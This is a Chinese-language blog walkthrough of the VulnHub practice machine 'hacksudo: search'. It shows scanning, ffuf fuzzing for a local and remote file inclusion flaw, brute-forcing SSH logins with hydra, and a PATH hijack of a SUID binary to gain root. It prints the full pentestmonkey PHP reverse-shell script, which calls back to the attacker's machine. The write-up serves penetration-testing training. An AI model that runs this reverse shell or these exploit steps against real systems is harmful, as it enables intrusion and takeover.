vulnhub靶場之HACKSUDO: SEARCH

upfine發表於2023-03-14

準備:

攻擊機:虛擬機器kali、本機win10。

靶機:hacksudo: search,下載地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip,下載後直接vbox開啟即可。

知識點:檔案包含漏洞、shell反彈、敏感資訊發現、hydra爆破、新增環境變數、ffuf爆破。

vulnhub靶場之HACKSUDO: SEARCH

一:資訊收集

1.nmap掃描

使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.3.212,顯示開放了22埠、80埠,開啟了ssh服務、http服務。

vulnhub靶場之HACKSUDO: SEARCH

2.目錄掃描

使用gobuster進行目錄掃描,命令:gobuster dir -u http://172.20.10.4 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,發現了search.php、search1.php等檔案。

vulnhub靶場之HACKSUDO: SEARCH

3.web服務

訪問:http://192.168.3.212/時在其原始碼中發現會跳轉到search.php檔案,但是search.php檔案會執行谷歌進行搜尋,沒什麼意義。然後在訪問search1.php檔案時顯示訪問:www.hacksudo.com,但是新增dns解析後雖然發現了一個網站但是也沒發現可以利用的資訊,然後又檢查其原始碼資訊在其原始碼資訊中發現了關鍵資訊,告訴我們要進行ffuf測試。

vulnhub靶場之HACKSUDO: SEARCH

使用ffuf進行引數探測,命令:ffuf -u 'http://192.168.3.212/search1.php?FUZZ=../../../../../etc/passwd' -w /usr/share/SecLists/Discovery/Web-Content/common.txt -fs 2918,成功發現引數:me。

vulnhub靶場之HACKSUDO: SEARCH

二:漏洞利用

1.漏洞驗證

利用獲得引數:me嘗試訪問下本地/etc/passwd檔案,成功獲得/etc/passwd檔案的資訊,驗證了本地檔案讀取漏洞存在。

vulnhub靶場之HACKSUDO: SEARCH

嘗試下是否存在遠端檔案包含漏洞,請求下:http://192.168.3.212/search1.php?me=https://www.baidu.com,驗證了存在遠端檔案包含漏洞。

vulnhub靶場之HACKSUDO: SEARCH

2.獲取shell

在本地kali中編寫shell反彈指令碼並開啟web服務,然後利用遠端檔案包含漏洞請求:kali中的shell反彈指令碼,命令:http://192.168.3.212/search1.php?me=http://192.168.3.84:8000/shell.php,成功獲得shell許可權。

shell反彈指令碼
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.3.84';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

 vulnhub靶場之HACKSUDO: SEARCH

三:提權

1.提權至hacksudo

在/var/www/html目錄下發現.env檔案,讀取該檔案發現資料庫賬戶和密碼資訊:hiraman/MyD4dSuperH3r0!,嘗試使用獲得的賬戶和密碼資訊進行資料庫登入,但是顯示禁止hiraman在本地登入資料庫。

vulnhub靶場之HACKSUDO: SEARCH

vulnhub靶場之HACKSUDO: SEARCH

繼續往下查詢資訊,在/var/www/html/account目錄下發現dbconnect.php檔案,讀取該檔案發現資料庫資訊:資料庫名稱:wordpress、賬號和密碼資訊:hacksudo/p@ssword。

vulnhub靶場之HACKSUDO: SEARCH

使用獲得賬戶和密碼資訊連線資料庫,成功進入到資料庫中。這裡查詢之後在資料庫本身的information_schema表中發現user_variables表,但是顯示仍是hacksudo賬戶不允許訪問user_variables表。

vulnhub靶場之HACKSUDO: SEARCH

前往/home目錄下進行檢視發現以下賬戶:hacksudo、john、monali、search,但是均無相關的訪問許可權,聯想到上面獲得的兩個密碼,那就進行爆破以下,命令:hydra -L name -P passwd ssh://192.168.3.212,成功發現一組賬戶和密碼資訊:hacksudo/MyD4dSuperH3r0!。

vulnhub靶場之HACKSUDO: SEARCH

利用獲得的賬戶資訊:hacksudo/MyD4dSuperH3r0!直接切換到hacksudo賬戶,成功獲得hacksudo賬戶許可權並在/home/hacksudo目錄下發現user.txt檔案,讀取該檔案成功獲得flag值。

vulnhub靶場之HACKSUDO: SEARCH

2.提權至root

使用命令:find / -perm -4000 -type f 2>/dev/null來查詢下具有特殊許可權的檔案,發現/home/hacksudo/search/tools/searchinstall檔案。

vulnhub靶場之HACKSUDO: SEARCH

前往/home/hacksudo/search/tools目錄,在該目錄下發現searchinstall.c檔案,讀取該檔案資訊,發現此檔案以系統許可權執行了install命令,因此我們可以自己寫一個install命令。

vulnhub靶場之HACKSUDO: SEARCH

在/tmp目錄下將/bin/bash寫入install檔案,賦予該檔案執行許可權並將install新增到環境變數中,然後執行./searchinstall檔案成功獲得root許可權。

vulnhub靶場之HACKSUDO: SEARCH

獲得root許可權後在在/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。

vulnhub靶場之HACKSUDO: SEARCH

相關文章